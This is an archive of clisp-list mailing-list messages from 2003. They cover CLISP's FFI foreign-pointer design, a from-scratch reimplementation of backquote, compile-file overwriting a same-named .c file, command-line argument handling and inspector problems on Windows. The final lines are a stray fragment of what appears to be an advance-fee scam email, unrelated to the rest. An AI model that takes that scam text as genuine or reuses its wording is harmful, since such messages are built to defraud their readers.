fa = #<FOREIGN-ADDRESS #<FOREIGN-POINTER 0> + 1>

what should

(setf (foreign-pointer fa) 3)

do?

fa = #<FOREIGN-ADDRESS #<FOREIGN-POINTER 3> + -2>

?!!

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Sam Steingold suggested:
>> another may also be :NEW, or :SESSION, not just a foreign-entity,
>> which is IMHO not compatible with the SETF idea. Returns the modified
>> entity. Maybe name it update-foreign-base?

>(defun (setf foreign-pointer) (new) (f-ent)
[...]
>      return fp;)
>    TheFpointer(foreign_pointer(f-ent))->fp_pointer = new))
I thought setf must always return the "new" argument. I'll have to check CLHS.

O(fp_zero) is not to be modified by set-foreign-base.

>(setf (foreign-pointer fa) 3)
That's not allowed. The idea is to share foreign-bases/pointers to achieve dependency tracking. An integer is not acceptable. It must be a foreign-entity, because that holds a foreign-POINTER object.
So set-foreign-base is first a dependency tracking mechanism than a mean to set a pointer to a given address.

It can accessorily be used to produce a pointer to a given address:
(set-foreign-base (unsigned-foreign-address N) :new)
:new yields an object pointing to the address, with 0 offset, a property that shall be documented.

Then you can restore the previous base into this object:
(set-foreign-base *[previous result] another-foreign)
-> a pointer to address N, with base another old foreign's base.

I find this set-foreign-base composes very well.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4CD@G8PQD.blf01.telekom.de>
> * On the subject of "AW: [clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zati on"
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>
> Sam Steingold suggested:
> >> another may also be :NEW, or :SESSION, not just a foreign-entity,
> >> which is IMHO not compatible with the SETF idea. Returns the modified
> >> entity. Maybe name it update-foreign-base?
> 
> >(defun (setf foreign-pointer) (new) (f-ent)
> [...]
> >      return fp;)
> >    TheFpointer(foreign_pointer(f-ent))->fp_pointer = new))
> I thought setf must always return the "new" argument. I'll have to check CLHS.

sure.

> O(fp_zero) is not to be modified by set-foreign-base.

why?  I thought you wanted that!
Isn't it possible that you would want to invalidate all current foreign
entities referring to O(fp_zero) and to start anew with a fresh O(fp_zero)?

> >(setf (foreign-pointer fa) 3)
> That's not allowed.

doesn't matter.
what if the new foreign-pointer has an address numerically larger that
the foreign-pointer+offset of this foreign entity?
keeping the address fixed would require using a negative offset.

> It can accessorily be used to produce a pointer to a given address:
> (set-foreign-base (unsigned-foreign-address N) :new)
> :new yields an object pointing to the address, with 0 offset, a
> property that shall be documented.
> 
> Then you can restore the previous base into this object:
> (set-foreign-base *[previous result] another-foreign)
> -> a pointer to address N, with base another old foreign's base.

I see.  so (setf (foreign-pointer f-ent) :new) just means "uncouple this
foreign entity from its foreign-pointer group".

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Sam wrote:
>> O(fp_zero) is not to be modified by set-foreign-base.
>why?  I thought you wanted that!
>Isn't it possible that you would want to invalidate all current foreign
>entities referring to O(fp_zero) and to start anew with a 
>fresh O(fp_zero)?

Not any I can think of right now. O(fp_Zero) is a global. It denotes the current session. If it dies, CLISP's FFI is dead. It doesn't make sense to recreate O(fp_zero) except at session start because the programmer has little means to control when and where it's used by the system.

So my clean model is:
o There's O(fp_zero), somewhat the default.
o There's maybe some ancestor of it, found in the image file.
o There's new ones from known places, which are: DEEP-MALLOC, SIMPLE-CALLOC, FOREIGN-LIBRARY and SET-FOREIGN-BASE.
o and possibly other invalidated foreign-pointers.


>keeping the address fixed would require using a negative offset.
That's no problem at all. the Amiga's shared library functions are all at negative offsets w.r.t. the library base. That has been used since 1995. I believe C++ vtables share this property. I believe it could apply to COM methods as well.
That' despite the fact that for whatever reason I cannot remember, IIRC, a uint is the offset in the C struct definition, not an sint.

>I see.  so (setf (foreign-pointer f-ent) :new) just means 
>"uncouple this
>foreign entity from its foreign-pointer group".
"by creating a new one with its own VALIDP bit, and which can then be coupled with FINALIZE."

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	Jorg Hohle.


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE02B4E4D8@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] on FFI:mark-invalid-foreign, malloc() and finali zat i on"
> * Sent on Fri, 14 Mar 2003 17:57:27 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam wrote:
> >keeping the address fixed would require using a negative offset.
> That's no problem at all. the Amiga's shared library functions are all
> at negative offsets w.r.t. the library base. That has been used since
> 1995. I believe C++ vtables share this property. I believe it could
> apply to COM methods as well.

OK, I will make the offset signed.

> That' despite the fact that for whatever reason I cannot remember,
> IIRC, a uint is the offset in the C struct definition, not an sint. 

this would have to be changed.

> >I see.  so (setf (foreign-pointer f-ent) :new) just means 
> >"uncouple this
> >foreign entity from its foreign-pointer group".

if f-ent is a FOREIGN-POINTER, tis would have to signal an error.

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I don't see my messages appearing in mailing list so resending this
one. Sorry if there are duplicates.

>> The attached code is a test case intended to isolate this problem I have
>> been having with connecting multiple clients to a server. I want to
>> occasionally poll the socket to see if there are any clients waiting for a
>> connection. Under linux this code loops until a connection is made by a
>> client, as expected, but under WinXP the loop never terminates, the client
>> connects and is holding a connection to the server but the server code
>> doesn't acknowledge the connection. Is this a bug?

>> The WinXP machine is running Clisp 2.30 and WinXP SP-1

> I have no problem with this code on NT4.0 (clisp 2.30, 2.27, CVS) and
> on XP (2.27, CVS). I'll check ver. 2.30 on XP, but I don't expect it
> will fail.

> Could you try different telnets, different addresses (localhost,
> 127.0.0.1, your IP, your machine name) ?

I've checked clisp 2.30 with win XP - no problem.


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I have reimplemented backquotes in CLISP from scratch; the work is
advanced far enough that I can rebuild the patched CLISP and pass
``make test''.

The aim is to produce a smaller, simpler, more elegant implementation
that has zero defects.

A few visible differences are introduced.

Firstly, the reader macros no longer perform expansion. Consequently,
the SYSTEM::BACKQUOTE macro does not have a second argument that
specifies the expanded form.  The job of expansion, rather, is moved
into the macro itself.  So we now have a thick macro, but a thin reader
macro rather than the other way around.

The structure of the SYSTEM::BACKQUOTE forms has changed in another
way. The ,@FORM syntax corresponds to (SPLICE FORM) rather than (SPLICE
(UNQUOTE FORM)). The special case (SPLICE FORM) to represent ,@'FORM is
gone, this is just (SPLICE (QUOTE FORM)).  In other words, this is more
like the Scheme scheme.  Of course, I adjusted the pretty printer
accordingly by removing code that parses the two cases of the SPLICE
argument.

Any code that depends on CLISP's representation of ,@ will break.

The SYSTEM::ADD-BACKQUOTE and SYSTEM::ADD-UNQUOTE interfaces continue
to work. CLISP uses these internally, for instance in DEFSTRUCT,
to generate backquotes.

I removed the dependency from the array and struct readers on the
SYSTEM::*BACKQUOTE-LEVEL* variable. A different trick is used to
detect that an unquote has occured while reading a form other than a
simple vector or list. This trick is not as perfect,  in the
sense that there are more opportunities for the sub-reader to become
confused by the embedded UNQUOTE or SPLICE form, but but on the other
hand, in other cases we can produce a more accurate error message than
that a comma has occured outside of a backquote.

I still have a few items to do: 

- the ,. destructive splicing syntax is not implemented as destructive
  syntax; it's semantically equivalent to ,@ right now.
- the code generated by the backquote is not optimized; it 
  does lots of atrocious consing like (append (list '1) (list '2)).
- I have to conform the error messages to the internalization
  system in CLISP. Probably I will just reuse the existing ones,
  for the most part.
- write some automated tests that exercise complex backquotes,
  like the ones that bugged out on me.

If anyone is interested, I can provide a clean patch against the 2.30
release.

By the way. Let's try something:

;;; expected result:  (FOO `(BAR (BAZ 'A A) (BAZ 'B B) ...))
;;; CLISP result:     (FOO `(BAR NIL NIL NIL NIL))

(defun breaks-on-clisp ()
  (let ((list '(a b c d)))
    `(foo `(bar ,@',(mapcar #'(lambda (sym)
                                `(baz ',sym ,sym))
                            list)))))

[1]> (breaks-on-clisp) 
(FOO (APPEND (LIST 'BAR) '((BAZ 'A A) (BAZ 'B B) (BAZ 'C C) (BAZ 'D D))))

Woo hoo! Not bad for two evenings of hacking. ;)

How about the pretty printer breakage, whereby the backquote is
printed wrongly, but still evals right?

``,,`,3  ==>  `,NIL (stock CLISP)

``,,`,3  ==>  3     (hacked CLISP)

Score again! In fact, under the new hack, the ``,,`,FOO is completely
reduced to FOO, watch this;

  (macroexpand '``,,`,FOO)
  ==> FOO ; T

Ha!



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On Sat, 15 Mar 2003, Kaz Kylheku wrote:

> If anyone is interested, I can provide a clean patch against the 2.30
> release.

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> * In message <Pine.LNX.4.44.0303150053390.20127-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: New, from-scratch implementation of backquote."
> * Sent on Sat, 15 Mar 2003 01:45:18 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> I have reimplemented backquotes in CLISP from scratch; the work is
> advanced far enough that I can rebuild the patched CLISP and pass
> ``make test''.

Great!
Congratulations!

> The aim is to produce a smaller, simpler, more elegant implementation
> that has zero defects.

Did you check that the two defects are gone:

1. in backquote.lisp;

;; Bug: With nested backquotes some partial forms are evaluated several
;; times (e.g. in the primary evaluation: forms, which are needed for
;; the interpretation of secondary evaluation forms) and should
;; therefore be free from side-effects.

2. <http://clisp.cons.org/impnotes.html#backquote>:

        Multiple backquote combinations like ,,@ or ,@,@ are not
        implemented. Their use would be confusing anyway.

> A few visible differences are introduced.
> 
> Firstly, the reader macros no longer perform expansion. Consequently,
> the SYSTEM::BACKQUOTE macro does not have a second argument that
> specifies the expanded form.  The job of expansion, rather, is moved
> into the macro itself.  So we now have a thick macro, but a thin reader
> macro rather than the other way around.

this appears to be the more standard approach.

> The structure of the SYSTEM::BACKQUOTE forms has changed in another
> way. The ,@FORM syntax corresponds to (SPLICE FORM) rather than (SPLICE
> (UNQUOTE FORM)). The special case (SPLICE FORM) to represent ,@'FORM is
> gone, this is just (SPLICE (QUOTE FORM)).  In other words, this is more
> like the Scheme scheme.  Of course, I adjusted the pretty printer
> accordingly by removing code that parses the two cases of the SPLICE
> argument.
> 
> Any code that depends on CLISP's representation of ,@ will break.
> 
> The SYSTEM::ADD-BACKQUOTE and SYSTEM::ADD-UNQUOTE interfaces continue
> to work. CLISP uses these internally, for instance in DEFSTRUCT,
> to generate backquotes.
> 
> I removed the dependency from the array and struct readers on the
> SYSTEM::*BACKQUOTE-LEVEL* variable. A different trick is used to
> detect that an unquote has occured while reading a form other than a
> simple vector or list. This trick is not as perfect,  in the
> sense that there are more opportunities for the sub-reader to become
> confused by the embedded UNQUOTE or SPLICE form, but but on the other
> hand, in other cases we can produce a more accurate error message than
> that a comma has occured outside of a backquote.
> 
> I still have a few items to do: 
> 
> - the ,. destructive splicing syntax is not implemented as destructive
>   syntax; it's semantically equivalent to ,@ right now.
> - the code generated by the backquote is not optimized; it 
>   does lots of atrocious consing like (append (list '1) (list '2)).
> - I have to conform the error messages to the internalization
>   system in CLISP. Probably I will just reuse the existing ones,
>   for the most part.
> - write some automated tests that exercise complex backquotes,
>   like the ones that bugged out on me.
> 
> If anyone is interested, I can provide a clean patch against the 2.30
> release.

released under GNU GPL?

> By the way. Let's try something:
> 
> ;;; expected result:  (FOO `(BAR (BAZ 'A A) (BAZ 'B B) ...))
> ;;; CLISP result:     (FOO `(BAR NIL NIL NIL NIL))
> 
> (defun breaks-on-clisp ()
>   (let ((list '(a b c d)))
>     `(foo `(bar ,@',(mapcar #'(lambda (sym)
>                                 `(baz ',sym ,sym))
>                             list)))))
> 
> [1]> (breaks-on-clisp) 
> (FOO (APPEND (LIST 'BAR) '((BAZ 'A A) (BAZ 'B B) (BAZ 'C C) (BAZ 'D D))))
> 
> Woo hoo! Not bad for two evenings of hacking. ;)
> 
> How about the pretty printer breakage, whereby the backquote is
> printed wrongly, but still evals right?
> 
> ``,,`,3  ==>  `,NIL (stock CLISP)
> 
> ``,,`,3  ==>  3     (hacked CLISP)
> 
> Score again! In fact, under the new hack, the ``,,`,FOO is completely
> reduced to FOO, watch this;
> 
>   (macroexpand '``,,`,FOO)
>   ==> FOO ; T
> 
> Ha!

Great!

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On 15 Mar 2003, Sam Steingold wrote:

> Did you check that the two defects are gone:
> 
> 1. in backquote.lisp;
> 
> ;; Bug: With nested backquotes some partial forms are evaluated several
> ;; times (e.g. in the primary evaluation: forms, which are needed for
> ;; the interpretation of secondary evaluation forms) and should
> ;; therefore be free from side-effects.

Need to dig into this more to understand the problem.

> 2. <http://clisp.cons.org/impnotes.html#backquote>:
> 
>         Multiple backquote combinations like ,,@ or ,@,@ are not
>         implemented. Their use would be confusing anyway.

But a naive test of ,@,@ appears to works in stock CLISP:

``(,@,@(list '(+ 2 2)))

==> `(,@(+ 2 2))
==> (APPEND (+ 2 2))  ;; my version

The reason my version redues to APPEND is because the outer
backquote generates another backquote, which is recursively
expanded.

Again, will look deeper into the issue to understand
the real problem.

> > If anyone is interested, I can provide a clean patch against the 2.30
> > release.
> 
> released under GNU GPL?

I will probably just assign the copyright (of the donated version of
the code) to you or Bruno, or else make it BSD like.



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Any idea why this is?
I know it's hard to believe, but I did strace of clisp doing
compile-file and I see 
 ...
 readlink("/root" ... 
(I'm doing this from root - does that matter?)
 lstat64("/root/foo.c" ...
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 lstat64("/root/foo.c" ...
 unlink("/root/foo.c")
 ...



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On Sat, 15 Mar 2003, Kaz Kylheku wrote:

> > 2. <http://clisp.cons.org/impnotes.html#backquote>:
> > 
> >         Multiple backquote combinations like ,,@ or ,@,@ are not
> >         implemented. Their use would be confusing anyway.
> 
> But a naive test of ,@,@ appears to works in stock CLISP:
> 
> ``(,@,@(list '(+ 2 2)))
> 
> ==> `(,@(+ 2 2))
> ==> (APPEND (+ 2 2))  ;; my version

I've been doing more tests, and it appears that my backquote
produces the same result with various ,@,@ situations as does
the stock one. So nothing breaks at least. 

However, one would expect the behavior to be like this:

   ``(,@,@'((list '+ 1 2) 3 4))

on the first evaluation, the outer ,@ splices in the list 
((list '+ 1 2) 3 4) leaving this:

  `(,@(list '+ 1 2) 3 4)

and so in the second round of expansion, the inner ,@ 
operator works only on the first element:

   ((+ 1 2) 3 4)

However, from both backquote implementations I get ``3 is not a list''.

Assuming that the behavior I described is the right one, you can 
of course get it this way, by separately treating the CAR and CDR
of the list.

  ``(,,(first '((list '+ 1 2) 3 4))
     ,@',(rest '((list '+ 1 2) 3 4)))

Note the extra quote in the ,@', which suppresses the additional
evaluation of the results of the REST which would otherwise take place,
in accordance with the semantics that once the tail section is spliced
in by the outer ,@ it should not be evaluated again by the inner ,@.

I clearly have to do more research on ,@,@ and perhaps take
it up on comp.lang.lisp.



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> * In message <15987.54384.957629.840785@isis.cs3-inc.com>
> * On the subject of "[clisp-list] (compile-file "foo.lisp") deletes foo.c ??"
> * Sent on Sat, 15 Mar 2003 17:33:36 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
> Any idea why this is?
> I know it's hard to believe, but I did strace of clisp doing
> compile-file and I see 
>  ...
>  readlink("/root" ... 
> (I'm doing this from root - does that matter?)
>  lstat64("/root/foo.c" ...
>  readlink("/root" ... 
>  lstat64("/root/foo.c" ...
>  unlink("/root/foo.c")
>  ...

<http://clisp.cons.org/impnotes.html#compilefile>:
<http://clisp.cons.org/impnotes/system.html#compilefile>:

Warning   If you have two files in the same directory - #P"foo.lisp"
          and #P"foo.c", and you compile the first file with CLISP,
          the second file will be clobbered if you have any "FFI" forms
          in the first one!

(this is relevant only for the latest CLISP, older versions clobbered
the C file even if you had no FFI forms).

-- 
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Sam Steingold writes:

 > <http://clisp.cons.org/impnotes.html#compilefile>:
 > <http://clisp.cons.org/impnotes/system.html#compilefile>:
 > 
 > Warning   If you have two files in the same directory - #P"foo.lisp"
 >           and #P"foo.c", and you compile the first file with CLISP,
 >           the second file will be clobbered if you have any "FFI" forms
 >           in the first one!
 > 
 > (this is relevant only for the latest CLISP, older versions clobbered
 > the C file even if you had no FFI forms).

hmm, not in my (out of date) impnotes, of course.

The reference above doesn't tell me why this is necessary or
reasonable.  It seems to me clearly undesirable.
It also says "only if :OUTPUT-FILE is not NIL".  What does that
have to do with it?  It doesn't mention what the value of NIL means.
Also that table says "default" file type.
That suggests there's a way to override it.  How?

The FFI forms suggests that this file is being written to support
FFI forms.  Is it then to be compiled?  If so, there must be another
output file (which seems to be undocumented) - I didn't lose my foo.o
file.  

Tell me where I can find out the details of what's going on so that
I can try to find some better alternative.


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Hoehle, Joerg-Cyril writes:
 > Hi,
 > 
 > trying to obtain more feedback on CLISP FFI issues (not just Sam
 > and me), I'll give the title of CLISP FFI guru to anybody who can
 > explain why the following works:

well, it depends on what you mean by "why": I have a very high level
explanation, but details and intricacies of CLISP FFI are still far
from my understanding...

 > ;this one does not preserve the foreign-pointer object
 > ; which is bad, but ignore it
 > (defun fcast (ff c-type)
 >   "Create a funcall'able FOREIGN-FUNCTION object at the given address, according to the supplied C type declaration"
 >   (with-c-var (new-function 'c-pointer (foreign-address ff))
 >     (cast new-function c-type)))

ffi:with-c-var allocates space on the C stack for a c-pointer foreign
place, calls it new-function and assigns to it the foreign address
associated with ff. Then ffi:cast creates a new foreign place of type
c-type having the same value of new-function (i.e., it "points" to the
same address). The value of the new foreign place is returned, and
new-function is lost.

I used the same "pattern" in a different situation: I have a foreign
functions (let's say my-func) that accepts, as an :out parameter, a
pointer to the following structure:

(def-c-struct my-struct
  (data c-pointer)
  (size uint32))

The function allocates some memory and assign its address to the data
member of the structure and the size of allocated memory to the size
member. I wrote the following function to read the returned data as a
vector of unsigned-bytes:

(defun my-func-wrapper (...)
  (let* ((result (my-func ...))
         (data (my-struct-data result)))
    (unwind-protect
        (with-c-var (p 'c-pointer data)
          (cast p `(c-ptr (c-array uint8 ,(my-struct-size result))))))
      (linux:free data)))

This technique is really convenient when the size of returned data can
be determined only at runtime. If, on the contrary, data returned is a
well known C type, it is better to avoid with-c-var/cast overhead by
using an ad-hoc foreign function for the conversion. For example, if
the function returns a C int (size is always sizeof(int)), better
perfomances can be obtained this way:

(defun my-func-int-wrapper (...)
  (let* ((result (my-func ...))
         (data (my-struct-data result)))
    (unwind-protect
        (get-int-foreign-data data)
      (linux:free data))))

(def-c-call get-int-data
  (:name "get_int_data")
  (:arguments (p c-pointer :in))
  (:return-type int))

int
get_int_data (void *p)
{
  return *(int *)p;
}

Not elegant, but quite fast :)


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> * In message <15988.52941.762621.808780@isis.cs3-inc.com>
> * On the subject of "Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ??"
> * Sent on Sun, 16 Mar 2003 11:21:49 -0800
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>
> Sam Steingold writes:
> 
>  > <http://clisp.cons.org/impnotes.html#compilefile>:
>  > <http://clisp.cons.org/impnotes/system.html#compilefile>:
>  > 
>  > Warning   If you have two files in the same directory - #P"foo.lisp"
>  >           and #P"foo.c", and you compile the first file with CLISP,
>  >           the second file will be clobbered if you have any "FFI" forms
>  >           in the first one!
>  > 
>  > (this is relevant only for the latest CLISP, older versions clobbered
>  > the C file even if you had no FFI forms).
> 
> hmm, not in my (out of date) impnotes, of course.

maybe it's time to upgrade?

> The reference above doesn't tell me why this is necessary or
> reasonable.  It seems to me clearly undesirable.
> It also says "only if :OUTPUT-FILE is not NIL".  What does that
> have to do with it?  It doesn't mention what the value of NIL means.

:OUTPUT-FILE NIL means do not write *.fas.
CLHS should explain that.

> Also that table says "default" file type.
> That suggests there's a way to override it.  How?

:OUTPUT-FILE "foo.baz" will write "foo.baz" instead of "foo.fas".
you cannot change the LIB, C and LIS file types.

> The FFI forms suggests that this file is being written to support FFI
> forms.  Is it then to be compiled?  If so, there must be another
> output file (which seems to be undocumented) - I didn't lose my foo.o
> file.

you have to invoke a C compiler on the generated C file yourself.

> Tell me where I can find out the details of what's going on so that
> I can try to find some better alternative.

Look at the bindings/linuxlibc6 module (and the modules docs in
general).
CLISP sources have src/foreign.d and src/foreign1.lisp, src/dirkey.d
and src/dirkey1.lisp - for this exact reason.

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Sam Steingold writes:
 > :OUTPUT-FILE NIL means do not write *.fas.
 > CLHS should explain that.
nope

 > > Also that table says "default" file type.
 > > That suggests there's a way to override it.  How?
 > 
 > :OUTPUT-FILE "foo.baz" will write "foo.baz" instead of "foo.fas".
 > you cannot change the LIB, C and LIS file types.

I never understood the lib file either, now that you mention it.

 > > The FFI forms suggests that this file is being written to support FFI
 > > forms.  Is it then to be compiled?  If so, there must be another
 > > output file (which seems to be undocumented) - I didn't lose my foo.o
 > > file.
 > 
 > you have to invoke a C compiler on the generated C file yourself.

ok, I see under Extensions-2.3. The Foreign Function Call Facility:
 A foreign function description is written as a Lisp file, and when
 compiled it produces a .c file which is then compiled by the
 C compiler and may be linked together with lisp.a.

Is there any reason that file has to be foo.c ?
Could there be an argument to compile-file to specify where this
and any other generated files go?
Could the default be something less likely to be already used,
say foo-ffi.c ?
Could the default behavior even be that such generated files
start with some sort of identifying comment, such as
 /* generated from foo.lisp by clisp compiler (version ...) */
and that if the file already exists and does not have that 
comment, an error is generated?

The fact that recent versions (more recent than mine) don't clobber 
foo.c when foo.lisp has NO FFI stuff in it is certainly a step in
the right direction and suggests that someone is aware of the
problem and is willing to do something to fix it.  Let me know if
you think my help in implementing any of the suggestions above will
be of any value.

 > Look at the bindings/linuxlibc6 module (and the modules docs in
 > general).

I found this, but don't see quite what you think I should look for.
In any case, I think the above quotation from impnotes supplies
enough information for now.

 > CLISP sources have src/foreign.d and src/foreign1.lisp, src/dirkey.d
 > and src/dirkey1.lisp - for this exact reason.

I see, I'm not the first to be bitten by this, but the "solution" that
was chosen won't prevent people like me from being bitten in the future.


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> * In message <15989.5719.489749.581554@isis.cs3-inc.com>
> * On the subject of "Re: [clisp-list] (compile-file "foo.lisp") deletes foo.c ??"
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>
> I never understood the lib file either, now that you mention it.

Did it occur to you to _click_ on the underlined "lib" in the impnotes?!
<http://clisp.cons.org/impnotes/system.html#require>

> Is there any reason that file has to be foo.c ?
> Could there be an argument to compile-file to specify where this
> and any other generated files go?

can you tell 'gcc -c foo.c' to write object file in foo.obj and not
foo.o?

> Could the default be something less likely to be already used,
> say foo-ffi.c ?

There is a general idea that if you have a set of files named foo.*,
then one of them, say, foo.lisp, is the master, and the rest, e.g.,
foo.fas, foo.lib, foo.lis, foo.txt, foo.c are generated from it.
Not everyone subscribes to it, of course.

> Could the default behavior even be that such generated files
> start with some sort of identifying comment, such as
>  /* generated from foo.lisp by clisp compiler (version ...) */
> and that if the file already exists and does not have that 
> comment, an error is generated?

sounds reasonable.
even if this is implemented, you will need to upgrade to benefit from
this, though...
It is not clear that this will bring much benefit compared with the
current behavior (as opposed to what you observe).
What do other users think?

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Sam Steingold writes:

 > > I never understood the lib file either, now that you mention it.
 > 
 > Did it occur to you to _click_ on the underlined "lib" in the impnotes?!
 > <http://clisp.cons.org/impnotes/system.html#require>

Another thing that's been added to impnotes since my old version...
Interesting.  Not standard for common lisp, unless the standard has
changed recently.

 > > Is there any reason that file has to be foo.c ?
 > > Could there be an argument to compile-file to specify where this
 > > and any other generated files go?
 > 
 > can you tell 'gcc -c foo.c' to write object file in foo.obj and not
 > foo.o?

gcc -o foo.obj -c foo.c

But what's that have to do with it?  We're not trying to make lisp
conform to c limitations are we?  You can, for instance, supply and
output-file argument to compile-file.  If it were expected that
compile file would generate multiple files I'm sure there would have
been arguments in the spec to control those too.

 > > Could the default be something less likely to be already used,
 > > say foo-ffi.c ?
 > 
 > There is a general idea that if you have a set of files named foo.*,
 > then one of them, say, foo.lisp, is the master, and the rest, e.g.,
 > foo.fas, foo.lib, foo.lis, foo.txt, foo.c are generated from it.
 > Not everyone subscribes to it, of course.

Actually my mistake was programming in c.  But I have no choice when
I want to write a module to be loaded into the linux kernel.
Then I need to write a program to use the module and, of course,
I want to write that in lisp.  It seems natural to name them the
same other than the .c/.lisp, or at least it did before I compiled
the lisp.

 > > Could the default behavior even be that such generated files
 > > start with some sort of identifying comment, such as
 > >  /* generated from foo.lisp by clisp compiler (version ...) */
 > > and that if the file already exists and does not have that 
 > > comment, an error is generated?
 > 
 > sounds reasonable.
 > even if this is implemented, you will need to upgrade to benefit from
 > this, though...
Yes, I recognize this.
You always want me to upgrade.  I'm just trying to give myself more
incentive.

 > It is not clear that this will bring much benefit compared with the
 > current behavior (as opposed to what you observe).
 > What do other users think?


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When  invoking  clisp   as  an  interpreter,  (#!/usr/bin/clisp),  the
argument given to the script are passed via ext:*args*.


But in that case, when we load a saved image like in

#!/usr/bin/clisp -M image.mem

the init-function is not called.



On the other hand, if it's called as:

#!/bin/sh
/usr/bin/clisp -M image.mem

there is no way to pass the arguments.


Notably,=20

#!/bin/sh
/usr/bin/clisp -M image.mem -x "(setq ext:*args* '($@))"

does not work because -x just executes one form then exits!



How one can pass arguments to a saved image with a init-function?



Another problem  with -x is that  it parses the  form before executing
it, so it is not possible to do on the command line something like:

    clisp -x '(progn (defpackage "TEST") (defun test::f ())'

*** - READ from #<INPUT STRING-INPUT-STREAM>: there is no package with na=
me "TEST"





I would suggest to have clisp behave like emacs with respect to the -x
option:

    - several -x options must be allowed,

    - clisp should not exit automatically after a -x form is processed.

    - each form processed by a  -x option would be executed before the
      next -x is processed (like if  each form was on a different line
      in a script or interactively).

    - all the  -x options should be  run after loading  the image, but
      before  running the init-function.   Well, this  point is  to be
      studied.   If we consider  the init-function  as a  "main" entry
      point into the  program saved in the image, then  we want the -x
      forms  be run  before because  the init-function  would  run the
      program and then exit.  On  the other hand, if the init-function
      is merely an initialization function  and then return to the top
      level loop,  we may want  to be able  to run the -x  forms after
      this  initialization.  =20



So I  would suggest to  add a main-function parameter  to saveinitmem.
Then the -x forms could be executed after the init-function but before
the  main-function,   and  clisp  could  quit   automatically  when  a
main-function is given after running it.



So:

    clisp -x '(defpackage "TEST")' -x '(defun test::f ())'

would be legal and would work as expected.   =20


Finally, I would  suggest to have a mean to pass  arguments to a clisp
programs when clisp is not invoked  as an interpreter. Well, if the -x
suggestions above are implemented, one could write:
  =20
    clisp -K yyy  -M xxx.mem -x ... -x ... -x "(setq ext:*args* '( $@ ))"

but it may be cleaner to have an option to do that, for example:

    clisp -K yyy  -M xxx.mem -x ... -x ... -- $@

In that case we would get  the same processing of the arguments put in
ext:*args* in  all cases, [ -x  "(setq ext:*args* '( $@  ))" would put
symbols and numbers  in ext:*args* unless the script  processes $@ and
put double-quotes arround them].



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New patch:

http://users.footprints.net/~kaz/clisp-2-30-backquote-2003-04-17.diff

The backquote optimizer is in, and CLISP builds with it.

Optimization can be turned off by setting the variable
system::*backquote-optimizer* to NIL.

The approach is to build the naive APPEND arguments as described in the
HyperSpec, and then post-filter these. This way it is possible to write
a very small, simple backquote expander, coupled with optimizer for the
APPEND function that can be verified independently.

(system::bq-optimize-append '((list 1 2) (list 3 4)))
--> '(1 2 3 4)

(system::bq-optimize-append '((list 'a) (list b) c))
--> (LIST* 'A B C)

(system::bq-optimize-append '((list 'a) (list b) '(c)))
--> (LIST* 'A B C)

(system::bq-optimize-append '((list 'a) (list 'b) (list 'c) 'd)))
--> (A B C . D)

etc. 

In principle, we could use this as a basis for a compiler-macro over
the APPEND function.

Thus if some backquote bug appears, if it goes away when optimization
is turned off, it's a bug in BQ-OPTIMIZE-APPEND. If it does not, then
it's a bug in the semantics implemented by the macro.



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This is a follow-up from an earlier post at comp.language.lisp, I'm having
problems getting the inspector via Netscape/Explorer to work under windows
(XP).



Joerg, thanks for that.

I sort of got netscape to work by changing the path and the inspector does
exactly what I want it to do. I am working on simulations that create large
trees of up to 100,000 nodes. I want to be able to inspect the root node,
and traverse the tree in the inspector window to look at the contents of
certain child nodes. The browser inspector allows me to do just that.

The following 'bugs' remain however. When using netscape, I get the proper
inspector window though netscape starts on the home page, and I have to copy
and paste the URL into it. A more serious problem however, is that when I
close Netscape (using either 'quit' as supplied on the page (URL), or
closing it completely), CLISP hangs in the inspector loop. That is, it
doesn't return me to the prompt. The only way I've figured out to 'recover'
from that, is by closing LISP completely. Hardly a recovery, but maybe I'm
overlooking something here. Using 'break' on the signals menu does't change
anything, nor does resetting the LISP connection, or typing (return) or
(break).

Explorer launches ok, is directed to the proper URL, but takes ages to load,
and gives me 'page cannot be displayed', even when I paste the URL.

I'm not sure if the other bit of code you supplied (see below) is supposed
to resolve these issues. I've tried running that, but I ran into a package
problem (got a 'package locked' message). I am not using packages in my
code, and don't know that much about using them.

On a more positive note, I would like to say that I am really pleased with
CLISP. It certainly beats Allegro which for my purposes is far too complex.
It is very easy too port code from Macintosh Common Lisp which I use at
work. It's a great program, especially considering it is free. One of my
colleagues who uses ACL at work is also considering changing to CLISP.

Thanks,

Daniel Freudenthal.

By the way, as a very minor issue, when attempting to load a lisp file from
the menu, on my system, it will switch to the prompt on the first attempt,
and only bring up a directory window at subsequent attempts. I don't know,
if this is supposed to happen, but personally, I would like the window to be
brought up the first time.



> (in-package "SYSTEM")
> (defun browse-url (url &key (browser *browser*) (out *standard-output*))
>   "Run the browser (a keyword in `*browsers*' or a list) on the URL."
>   (let* ((command
>           (etypecase browser
>             (list browser)
>             (symbol (or (cdr (assoc browser *browsers* :test #'eq))
>                         (error "unknown browser: `~s' (must be a key in `~s')"
>                                browser '*browsers*)))))
>          (args (mapcar (lambda (arg) (format nil arg url)) (cdr command))))
>     (cond (command
>            (when out
>              (format out "~&;; running [~s~{ ~s~}]..." (car command) args)
>              (force-output (if (eq out t) *standard-output* out)))
>            (run-program (car command) :arguments args
> :wait #+unix nil #-unix t)
>            (when out
>              (format out "done~%")))
>           ((format t "~s: no browser specified; please point your browser
at~%~
> --> <URL:~a>~%" 'browse-url url)))))




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Kaz Kylheku wrote:
> The job of expansion, rather, is moved
>into the macro itself.  So we now have a thick macro, but a thin reader
>macro rather than the other way around.

If it's in a macro (instead of read-time), it makes me wonder whether it can also insert into a vector:

[51]> `#(1 2 ,(list 2 3) 3)
#(1 2 (2 3) 3)

Normally, using macros instead of reader stuff only allows code transformations in places that get evaluated (i.e. forms, e.g. not inside a (declare #) expression). You'd have to guess somehow that the #() which is being read is not a literal array. Do you provide for this?

Regards,
	Jorg Hohle.


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encountering the same experience in the future or confiscation of all that 
belong to my family by these African leaders.Since all countries in
Africa have almost the same political tie.
